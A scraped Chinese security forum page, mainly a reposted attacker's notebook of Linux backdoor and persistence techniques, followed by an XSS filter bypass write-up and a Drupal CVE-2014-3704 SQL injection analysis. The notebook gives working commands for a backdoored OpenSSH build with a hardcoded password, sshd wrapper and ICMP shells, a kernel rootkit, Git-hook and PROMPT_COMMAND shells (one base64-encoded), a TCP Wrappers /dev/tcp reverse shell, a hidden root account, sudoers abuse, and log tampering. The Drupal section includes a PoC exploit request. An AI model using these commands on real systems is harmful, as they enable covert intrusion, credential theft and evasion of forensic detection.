alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

 pam 后门 or openssh
参考:
关于openssh通用后门的拓展
http://0cx.cc/ssh_get_password.jspx
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
wget http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
tar zxvf openssh-5.9p1.tar.gz
tar zxvf 0x06-openssh-5.9p1.patch.tar.gz
cd openssh-5.9p1.patch/
cp sshbd5.9p1.diff ../openssh-5.9p1
cd ../openssh-5.9p1
patch < sshbd5.9p1.diff //patch 后门

vi includes.h //修改后门密码,记录文件位置,
/
+#define ILOG “/tmp/ilog” //记录登录到本机的用户名和密码
+#define OLOG “/tmp/olog” //记录本机登录到远程的用户名和密码
+#define SECRETPW “123456654321” //你后门的密码

/
yum install -y openssl openssl-devel pam-devel
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

yum install -y zlib zlib-devel
make && make install
service sshd restart //重启sshd

Centos6可以使用后门,但是配合curl把登录密码发送到服务器失败
 SSH后门
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337

执行完之后,任何一台机器ssh root@IP -p 31337 不需要密码
 SSH wrapper后门简介
init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell。
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart

连接:socat STDIO TCP4:target_ip:22,sourceport=13377

默认端口为13377否则会出现:

 mafix rootkit
Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现让攻击者远程登陆的,特点是配置简单并可以自定义验证密码和端口号。
不知道我测试是否有问题很多系统不被支持

 利用系统服务程序
修改/etc/inetd.conf 
daytime stream tcp nowait /bin/sh sh –I
trojan程序替换in.telnetd、in.rexecd等 inted的服务程序重定向login程序
 TCP/UDP/ICMP Shell
Ping Backdoor,通过ICMP包激活后门, 形成一个Shell通道。
TCP ACK数据包后门,能够穿越防火墙。
Linux下的icmp shell后门 容易被发现
http://prdownloads.sourceforge.net/icmpshell/ish-v0.2.tar.gz
被控端./ishd -i 65535 -t 0 -p 1024 -d
控制端./ish -i 65535 -t 0 -p 1024 192.168.1.69


这个是py版的
https://github.com/inquisb/icmpsh/blob/master/icmpsh_m.py
Linux下ICMP后门PRISM
使用这种模式的后门将会在后台等待特定的包含主机/端口连接信息的ICMP数据包,通过私有密钥可以阻止第三方访问。后门进程接受ping包激活。
编译安装:gcc <..OPTIONS..> -Wall -s -o prism prism.c
-DDETACH #后台运行
-DSTATIC #开启STATIC模式 (默认ICMP模式)
-DNORENAME #不使用自定义的进程名
-DIPTABLES #清空所有的iptables规则
用的是单台机器测试所以2个IP一样:sendPacket.py 内机 FUCK 控制端 19832


测试感觉还行,不知道在真实环境下能否维持多久。
参考
http://vinc.top/2016/09/28/linux%E4%B8%8Bicmp%E5%90%8E%E9%97%A8prism/
 
 共享库文件
在共享库中嵌入后门函数
使用后门口令激活Shell,获得权限
能够躲避系统管理员对二进制文件本身的 校验
 可装载内核模块(LKM)
LKM:Loadable Kernel Modules
动态的加载,不需要重新编译内核。
截获系统调用,具有隐藏目录、文件、进 程、网络连接等强大功能。
自身隐蔽性好,发现难度较大。
著名的LKM包有adore和knark。
内核级rootkit Kbeast的安装与使用
支持的内核版本有2.6.16, 2.6.18, 2.6.32, and 2.6.35。
wget http://core.ipsecs.com/rootkit/kernel-rootkit/ipsecs-kbeast-v1.tar.gz
config.h配置密码等

安装./setup build


守护进程的PID是1747
隐藏目录:

通过命令是无法查看开放端口的

ps aux命令也是无法查看到进程,除非指定进程名称,我们把后门进程名称伪靠系统服务也是可以让管理员头疼。
而通过nmap全端口扫描出现了13377后门端口,通过telnet连接

使用总结:
隐藏进程、隐藏端口
支持版本太少、重启将失效。
http://vinc.top/2016/06/07/%E5%86%85%E6%A0%B8%E7%BA%A7rootkit-kbeast%E7%9A%84%E5%AE%89%E8%A3%85%E4%B8%8E%E4%BD%BF%E7%94%A8/
 隐藏文件
Linux/Unix 藏文件和文件夹
Linux/Unix 下想藏 Webshell 或者后门什么的,可以利用一下隐藏文件夹和文件。
方法一
比如创建一个名字开头带 . 的 Webshell 或者文件夹,默认情况下是不会显示出来的,浏览器访问的时候加点访问就行。(查看方法:ls -a)
touch .webshell.php 创建名字为 .webshell.php 的文件
mkdir .backdoor/ 创建名字为 .backdoor 的文件夹
终极方法
在管理员喝多了或者脑子转不过来的情况下,是绝对不会发现的!至少我用了这么久是没几个发现的。
是文件的话浏览器访问直接输 … 就行,目录同理。
touch … 创建名字为 … 的文件
mkdir … 创建名字为 … 的文件夹
 Git hooks
原是XTERM反弹Shell,老外与Git结合
echo "xterm -display <attacker IP>:1 &" > .git/hooks/pre-commit
chmod +x .git/hooks/pre-commit
Xnest:1

当更新git的时候会触发:
git commit -am "Test"

 PROMPT_COMMAND后门
bash提供了一个环境变量PROMPT_COMMAND,这个变量会在你执行命令前执行一遍。
一般运维人员都将用来记录每个用户执行命令的时间ip等信息。
每执行一个命令之前都会调用这个变量将你操作的命令记录下来。
export PROMPT_COMMAND='{ date "+[ %Y%m%d %H:%M:%S `whoami` ] `history 1 | { read x cmd; echo "$cmd      from ip:$SSH_CLIENT   $SSH_TTY"; }`"; }>> /home/pu/login.log'

但是在安全人员手里味道变得不一样了
export PROMPT_COMMAND="lsof -i:1025 &>/dev/null || (python -c "exec('aW1wb3J0IHNvY2tldCxvcyxzeXMKcz1zb2NrZXQuc29ja2V0KCkKcy5iaW5kKCgiIiwxMDI1KSkKcy5saXN0ZW4oMSkKKGMsYSk9cy5hY2NlcHQoKQp3aGlsZSAxOgogZD1jLnJlY3YoNTEyKQogaWYgJ2V4aXQnIGluIGQ6CiAgcy5jbG9zZSgpCiAgc3lzLmV4aXQoMCkKIHI9b3MucG9wZW4oZCkucmVhZCgpCiBjLnNlbmQocikK'.decode('base64'))" 2>/dev/null &)"

Base64解密:
import socket,os,sys
s=socket.socket()
s.bind(("",1025))
s.listen(1)
(c,a)=s.accept()
while 1:
d=c.recv(512)
if 'exit' in d:
s.close()
sys.exit(0)
r=os.popen(d).read()
c.send(r)

一段简单的python socks监听命令

NC连接
nc 192.168.1.174 1025


 PROMPT_COMMAND提权
这个只是留做后门,有些黑客则是利用这点来进行提权。
这个要求管理员有su的习惯,我们可以通过它来添加一个id=0的用户
export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 hack &>/dev/null && echo hacker:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"

除此之外可以利用script记录某人行为:
基本用法:
script -t 2>demo.time -a demo.his
 记录保存为录像
scriptreplay demo.time demo.his
 播放记录
用户家目录下,修改环境变量,使得用户登录就会触发录像
vi ~/.profile
script -t -f -q 2>/wow/$USER-$UID-`date +%Y%m%d%H%M%S`.time -a /wow/$USER-$UID-`date +%Y%m%d%H%M%S`.his

 Sudoers “trick”
其实Sudoers并不算后门,是一个Linux用户控制权限
通过root权限改写对普通用户可执行root命令
sudo su -c "echo 'mx7krshell ALL = NOPASSWD: ALL' >> /etc/sudoers.d/README"

授权用户/组 主机=[(切换到哪些用户或组)] [是否需要输入密码验证] 命令1,命令2,...


更详细文章参考:
https://segmentfault.com/a/1190000007394449
 TCP Wrappers
TCP_Wrappers是一个工作在应用层的安全工具,它只能针对某些具体的应用或者服务起到一定的防护作用。比如说ssh、telnet、FTP等服务的请求,都会先受到TCP_Wrappers的拦截。
TCP_Wrappers有一个TCP的守护进程叫作tcpd。以telnet为例,每当有telnet的连接请求时,tcpd即会截获请求,先读取系统管理员所设置的访问控制文件,合乎要求,则会把这次连接原封不动的转给真正的telnet进程,由telnet完成后续工作;如果这次连接发起的ip不符合访问控制文件中的设置,则会中断连接请求,拒绝提供telnet服务。
ALL: ALL: spawn (bash -c "/bin/bash -i >& /dev/tcp/<Attack IP>/443 0>&1") & :allow

ssh访问目标主机
ssh [email]qweqwe@192.168.4[/email].100
触发后门

 nmap nse后门
很多linux系统中默认都安装了nmap
mkdir -p ~/.nmap/scripts/
cd ~/.nmap/scripts/
curl -O 'https://raw.githubusercontent.com/ulissescastro/linux-native-backdoors/master/nmap/http-title.nse'
local payload = "ZWNobyAiKi8xICogKiAqICogcHl0aG9uIC1jIFwiZXhlYygnYVcxd2IzSjBJSE52WTJ0bGRDeHpkV0p3Y205alpYTnpMRzl6TzJodmMzUTlKekV5Tnk0d0xqQXVNU2M3Y0c5eWREMDBORE03Y3oxemIyTnJaWFF1YzI5amEyVjBLSE52WTJ0bGRDNUJSbDlKVGtWVUxITnZZMnRsZEM1VFQwTkxYMU5VVWtWQlRTazdjeTVqYjI1dVpXTjBLQ2hvYjNOMExIQnZjblFwS1R0dmN5NWtkWEF5S0hNdVptbHNaVzV2S0Nrc01DazdiM011WkhWd01paHpMbVpwYkdWdWJ5Z3BMREVwTzI5ekxtUjFjRElvY3k1bWFXeGxibThvS1N3eUtUdHdQWE4xWW5CeWIyTmxjM011WTJGc2JDaGJKeTlpYVc0dlltRnphQ2NzSUNjdGFTZGRLVHNLJy5kZWNvZGUoJ2Jhc2U2NCcpKVwiIiB8IGNyb250YWI="


base64解密
echo "*/1 * * * * python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO2hvc3Q9JzEyNy4wLjAuMSc7cG9ydD00NDM7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KChob3N0LHBvcnQpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbJy9iaW4vYmFzaCcsICctaSddKTsK'.decode('base64'))"" | crontab#

解密
import socket,subprocess,os;host='127.0.0.1';port=443;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash', '-i']);

可以将127.0.0.1改成你的地址

 进程注入
cymothoa进程注入后门
./cymothoa -p 1014 -s 0 -y 8888

只能连接一次后就失效没啥用。
https://github.com/jorik041/cymothoa
 清理
bash去掉history记录
export HISTSIZE=0
export HISTFILE=/dev/null

 修改上传文件时间戳
touch -r 老文件时间戳 新文件时间戳
 伪造Apache日志中的指定IP
sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/ access.log
sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/error_log
 Linux日志清除
首先是Apache日志,Apache主要的日志就是
access.log``error_log
,前者记录了HTTTP的访问记录,后者记录了服务器的错误日志。根据Linux的配置不同和Apache的版本的不同,文件的放置位置也是不同的,不过这些都可以在httpd.conf中找到。
对于明文的Apache文件,通过正则表达式就可以搞定:
sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/ access.log
sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/error_log

其中192.168.1.3是我们的IP,192.168.1.4使我们伪造的IP。
在正则表达式中有特殊的含义,所以需要用“”来进行转义。
MySQL日志文件
log-error=/var/log/mysql/mysql_error.log
 #错误日志
log=/var/log/mysql/mysql.log
#最好注释掉,会产生大量的日志,包括每一个执行的sql及环境变量的改变等等
log-bin=/var/log/mysql/mysql_bin.log
 # 用于备份恢复,或主从复制.这里不涉及。
log-slow-queries=/var/log/mysql/mysql_slow.log
 #慢查询日志
log-error=/var/log/mysql/mysqld.log

pid-file=/var/run/mysqld/mysqld.pid

sed –i 's/192.168.1.3/192.168.1.4/g'
/var/log/mysql/mysql_slow.log

至于二进制日志文件,需要登录mysql client来修改删除,建议这种操作最先执行。
php日志修改
sed –i 's/192.168.1.3/192.168.1.4/g'
/var/log/apache/php_error.log

最后就是Linux的日志文件了,这个比较多,记录的也比较复杂,我的环境是CentOS 6.3。我现在只把和渗透有关的文件列出来,主要/etc/logrotate.d/syslog/var/log/maillog,该日志文件记录了每一个发送到系统或从系统发出的电子邮件的活动,它可以用来查看用户使用哪个系统发送工具或把数据发送到哪个系统
var/log/messages,该文件的格式是每一行包含日期、主机名、程序名,后面是包含PID或内核标识的方括号,一个冒号和一个空格
/var/log/wtmp,该日志文件永久记录每个用户登录、注销及系统的启动,停机的事件。该日志文件可以用来查看用户的登录记录,last命令就通过访问这个文件获得这些信息,并以反序从后向前显示用户的登录记录,last也能根据用户,终端tty或时间显示相应的记录
/var/run/utmp,该日志文件记录有关当前登录的每个用户的信息,因此这个文件会随着用户登录和注销系统而不断变化,它只保留当时联机的用户记录,不会为用户保留永久的记录。系统中需要查询当前用户状态的程序,如who、w、users、finger等就需要访问这个文件
/var/log/xferlog,该日志文件记录FTP会话,可以显示出用户向FTP服务器或从服务器拷贝了什么文件。该文件会显示用户拷贝到服务器上的用来入侵服务器的恶意程序,以及该用户拷贝了哪些文件供他使用。
bash_history,这是bash终端的命令记录,能够记录1000条最近执行过的命令(具体多少条可以配置),通过这个文件可以分析此前执行的命令来知道知否有入侵者,每一个用户的home目录里都有这么一个文件
清除脚本:
https://github.com/JonGates/jon
之前记录的笔记反过来看Linux后门的各种类型也算是比较全面了,最后我还是没有找到中意的后门,商业的又买不起,自己又不会写,转行了转行了搞毛渗透。
参考链接:
https://www.slideshare.net/ulissescastro/50-ton-of-backdoors?from_action=save
linux一种无文件后门技巧(译文)
https://kevien.github.io/2018/02/20/linux%E4%B8%80%E7%A7%8D%E6%97%A0%
 
本文由安全客原创发布 
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/155943
安全客 - 有思想的安全新媒体

记一次有意思的XSS绕过之奇葩的中文尖括号

Web安全渗透lawliet 发表了文章 • 3 个评论 • 222 次浏览 • 2018-09-02 23:18 • 来自相关话题

记一次有意思的XSS绕过之奇葩的中文尖括号
记录一个我实战中遇到的比较有意思的XSS绕过,过滤方式比较奇葩,把>变为了中文的尖括号>,导致插入页面的xss payload不能被浏览器解析,但是经过一番测试无意间发现了一种绕过方式,构造方法比较特殊,在这分享一下~奇葩的过滤
过滤方式如下




可以看到对输入的过滤是将>变为了中文的尖括号>,这样的话浏览器在解析html标签时,由于标签无法正常闭合就会出现语法错误而导致xss payload无法被浏览器解析执行,加上页面可以利用的输出点只有这一个位置并且在DOM的文本节点,所以在构造xss的时候>符号是必不可少的bypass
绕过其实也很简单,构造payload如下<img onerror=alert(1) src=>







这一点的构造思路正是用到了中文尖括号>在浏览器解析时不能被浏览器识别的特点,这样的话>”</span会被浏览器当成img标签的src属性的属性值,也就是一个错误的图片资源,导致后面span标签的>逃逸,于是span标签的>闭合了img标签,xss payload执行










  查看全部
记一次有意思的XSS绕过之奇葩的中文尖括号
记录一个我实战中遇到的比较有意思的XSS绕过,过滤方式比较奇葩,把
>
变为了中文的尖括号
,导致插入页面的xss payload不能被浏览器解析,但是经过一番测试无意间发现了一种绕过方式,构造方法比较特殊,在这分享一下~
奇葩的过滤
过滤方式如下

0.png
可以看到对输入的过滤是将
>
变为了中文的尖括号
,这样的话浏览器在解析html标签时,由于标签无法正常闭合就会出现语法错误而导致xss payload无法被浏览器解析执行,加上页面可以利用的输出点只有这一个位置并且在DOM的文本节点,所以在构造xss的时候
>
符号是必不可少的
bypass
绕过其实也很简单,构造payload如下
<img onerror=alert(1) src=>



0.png

这一点的构造思路正是用到了中文尖括号
在浏览器解析时不能被浏览器识别的特点,这样的话
>”</span
会被浏览器当成img标签的src属性的属性值,也就是一个错误的图片资源,导致后面span标签的
>
逃逸,于是span标签的
>
闭合了img标签,xss payload执行


0.png


0.png

 

Drupal < 7.32 SQL注入漏洞(CVE-2014-3704)

渗透测试zksmile 发表了文章 • 0 个评论 • 157 次浏览 • 2018-09-02 19:53 • 来自相关话题

0x01 漏洞详情
Drupal诞生于2000年,是一个基于PHP语言编写的开发型CMF(内容管理框架),即: CMS + Framework1. Framework它由2部分组成

1) Drupal内核中的功能强大的PHP类库和PHP函数库

2) 在此基础上抽象的Drupal API

2. CMS
HTML+JAVASCRIPT+CSS
Drupal的架构由三大部分组成1. 内核
2. 模块
3. 主题


三者通过Hook机制紧密的联系起来。其中,内核部分由世界上多位著名的WEB开发专家组成的团队负责开发和维护,drupal的这种面向对象的集中实现化的机制为开发者开来了极大的编程体验的提升,但同时也引入了一个风险,一旦这种底层的、内核的实现路由上的某个节点出了漏洞,权限漏洞、或者例如sql注入的边界检查缺失,则造成的影响将是全系统的破坏
 
这次的Drupal发生的高危SQL注入漏洞就是源于这个原因,因为发生漏洞的位置处于Drupal的内核区域,虽然是WEB应用,但是我们可以理解为处于一个高权限的代码区域,在这个逻辑层面发生的SQL注入可以导致很高权限的代码执行.
 
0x02 影响范围Drupal 7.x - 7.31


0x03 漏洞代码分析
 
下载Drupal 7.31的源代码进行分析,产生漏洞的源头在"/includes/database/database.inc",从架构上来说,这是Drupal的"内核”/**
* Expands out shorthand placeholders.
*
* Drupal supports an alternate syntax for doing arrays of values. We
* therefore need to expand them out into a full, executable query string.
*
* @param $query
* The query string to modify.
* @param $args
* The arguments for the query.
*
* @return
* TRUE if the query was modified, FALSE otherwise.
*/
protected function expandArguments(&$query, &$args)
{
$modified = FALSE;

// If the placeholder value to insert is an array, assume that we need
// to expand it out into a comma-delimited set of placeholders.
/*
array_filter can Iterates over each value in the array passing them to the callback function. If the callback function returns true, the current value from array is returned into the result array. Array keys are preserved.
array_filter($args, 'is_array')起到过滤器的作用,从$args中剥离出"数组"的部分
*/
foreach (array_filter($args, 'is_array') as $key => $data)
{
$new_keys = array();
/*
这行代码是导致漏洞的关键点:
1. 没有对array的key、value进行"参数化纯净性验证",导致黑客在key中注入了可执行代码,对即将执行的sql语句进行了污染
2. 即没有将输入的值强制限定在程序预先设定的可接受的值范围内
*/
foreach ($data as $i => $value)
{
// This assumes that there are no other placeholders that use the same
// name. For example, if the array placeholder is defined as :example
// and there is already an :example_2 placeholder, this will generate
// a duplicate key. We do not account for that as the calling code
// is already broken if that happens.
$new_keys[$key . '_' . $i] = $value;
}

// Update the query with the new placeholders.
// preg_replace is necessary to ensure the replacement does not affect
// placeholders that start with the same exact text. For example, if the
// query contains the placeholders :foo and :foobar, and :foo has an
// array of values, using str_replace would affect both placeholders,
// but using the following preg_replace would only affect :foo because
// it is followed by a non-word character.
$query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query);

// Update the args array with the new placeholders.
unset($args[$key]);
$args += $new_keys;

$modified = TRUE;
}

return $modified;
}
从expandArguments函数中我们可以看到,代码没有对key、value同时采取"参数化纯净预处理",导致黑客在key中进行了代码注入,而之后这个key又被带入了sql语句的拼接中,这也正是drupla提供的一个DB PDO抽象函数,方便程序员使用array数组的方式进行sql查询语句的拼接,但是问题就在于drupal在处理这个input array的时候没有进行必要的处理。
 
在/includes/database/database.inc调用了上述expandArguments函数:..
public function query($query, array $args = array(), $options = array()) {

// Use default values if not already set.
$options += $this->defaultOptions();

try {
// We allow either a pre-bound statement object or a literal string.
// In either case, we want to end up with an executed statement object,
// which we pass to PDOStatement::execute.
if ($query instanceof DatabaseStatementInterface) {
$stmt = $query;
$stmt->execute(NULL, $options);
}
else {
$this->expandArguments($query, $args);
$stmt = $this->prepareQuery($query);
$stmt->execute($args, $options);
}
...


程序在$stmt = $this->prepareQuery($query); 这里直接将sql语句 带入了数据库中执行,导致了sql注入。
 
0x04 漏洞复现
 
1、向服务器发送下列数据包:POST /?q=node&destination=node HTTP/1.1
Host: IP:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 122

pass=zksmile&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=zksmile&name[0]=a




0X05 漏洞防御 1. 直接使用官方补丁进行修复:
https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch
2、升级到 Drupal 7.32
https://www.drupal.org/drupal-7.32-release-notes 查看全部
0x01 漏洞详情
Drupal诞生于2000年,是一个基于PHP语言编写的开发型CMF(内容管理框架),即: CMS + Framework
1. Framework它由2部分组成

1) Drupal内核中的功能强大的PHP类库和PHP函数库

2) 在此基础上抽象的Drupal API

2. CMS
HTML+JAVASCRIPT+CSS

Drupal的架构由三大部分组成
1. 内核
2. 模块
3. 主题


三者通过Hook机制紧密的联系起来。其中,内核部分由世界上多位著名的WEB开发专家组成的团队负责开发和维护,drupal的这种面向对象的集中实现化的机制为开发者开来了极大的编程体验的提升,但同时也引入了一个风险,一旦这种底层的、内核的实现路由上的某个节点出了漏洞,权限漏洞、或者例如sql注入的边界检查缺失,则造成的影响将是全系统的破坏
 
这次的Drupal发生的高危SQL注入漏洞就是源于这个原因,因为发生漏洞的位置处于Drupal的内核区域,虽然是WEB应用,但是我们可以理解为处于一个高权限的代码区域,在这个逻辑层面发生的SQL注入可以导致很高权限的代码执行.
 
0x02 影响范围
Drupal 7.x - 7.31


0x03 漏洞代码分析
 
下载Drupal 7.31的源代码进行分析,产生漏洞的源头在"/includes/database/database.inc",从架构上来说,这是Drupal的"内核”
/**
* Expands out shorthand placeholders.
*
* Drupal supports an alternate syntax for doing arrays of values. We
* therefore need to expand them out into a full, executable query string.
*
* @param $query
* The query string to modify.
* @param $args
* The arguments for the query.
*
* @return
* TRUE if the query was modified, FALSE otherwise.
*/
protected function expandArguments(&$query, &$args)
{
$modified = FALSE;

// If the placeholder value to insert is an array, assume that we need
// to expand it out into a comma-delimited set of placeholders.
/*
array_filter can Iterates over each value in the array passing them to the callback function. If the callback function returns true, the current value from array is returned into the result array. Array keys are preserved.
array_filter($args, 'is_array')起到过滤器的作用,从$args中剥离出"数组"的部分
*/
foreach (array_filter($args, 'is_array') as $key => $data)
{
$new_keys = array();
/*
这行代码是导致漏洞的关键点:
1. 没有对array的key、value进行"参数化纯净性验证",导致黑客在key中注入了可执行代码,对即将执行的sql语句进行了污染
2. 即没有将输入的值强制限定在程序预先设定的可接受的值范围内
*/
foreach ($data as $i => $value)
{
// This assumes that there are no other placeholders that use the same
// name. For example, if the array placeholder is defined as :example
// and there is already an :example_2 placeholder, this will generate
// a duplicate key. We do not account for that as the calling code
// is already broken if that happens.
$new_keys[$key . '_' . $i] = $value;
}

// Update the query with the new placeholders.
// preg_replace is necessary to ensure the replacement does not affect
// placeholders that start with the same exact text. For example, if the
// query contains the placeholders :foo and :foobar, and :foo has an
// array of values, using str_replace would affect both placeholders,
// but using the following preg_replace would only affect :foo because
// it is followed by a non-word character.
$query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query);

// Update the args array with the new placeholders.
unset($args[$key]);
$args += $new_keys;

$modified = TRUE;
}

return $modified;
}

从expandArguments函数中我们可以看到,代码没有对key、value同时采取"参数化纯净预处理",导致黑客在key中进行了代码注入,而之后这个key又被带入了sql语句的拼接中,这也正是drupla提供的一个DB PDO抽象函数,方便程序员使用array数组的方式进行sql查询语句的拼接,但是问题就在于drupal在处理这个input array的时候没有进行必要的处理。
 
在/includes/database/database.inc调用了上述expandArguments函数:
..
public function query($query, array $args = array(), $options = array()) {

// Use default values if not already set.
$options += $this->defaultOptions();

try {
// We allow either a pre-bound statement object or a literal string.
// In either case, we want to end up with an executed statement object,
// which we pass to PDOStatement::execute.
if ($query instanceof DatabaseStatementInterface) {
$stmt = $query;
$stmt->execute(NULL, $options);
}
else {
$this->expandArguments($query, $args);
$stmt = $this->prepareQuery($query);
$stmt->execute($args, $options);
}
...


程序在$stmt = $this->prepareQuery($query); 这里直接将sql语句 带入了数据库中执行,导致了sql注入。
 
0x04 漏洞复现
 
1、向服务器发送下列数据包:
POST /?q=node&destination=node HTTP/1.1
Host: IP:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 122

pass=zksmile&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=zksmile&name[0]=a
1.png


0X05 漏洞防御 
1.  直接使用官方补丁进行修复:
https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch
2、升级到 Drupal 7.32
https://www.drupal.org/drupal-7.32-release-notes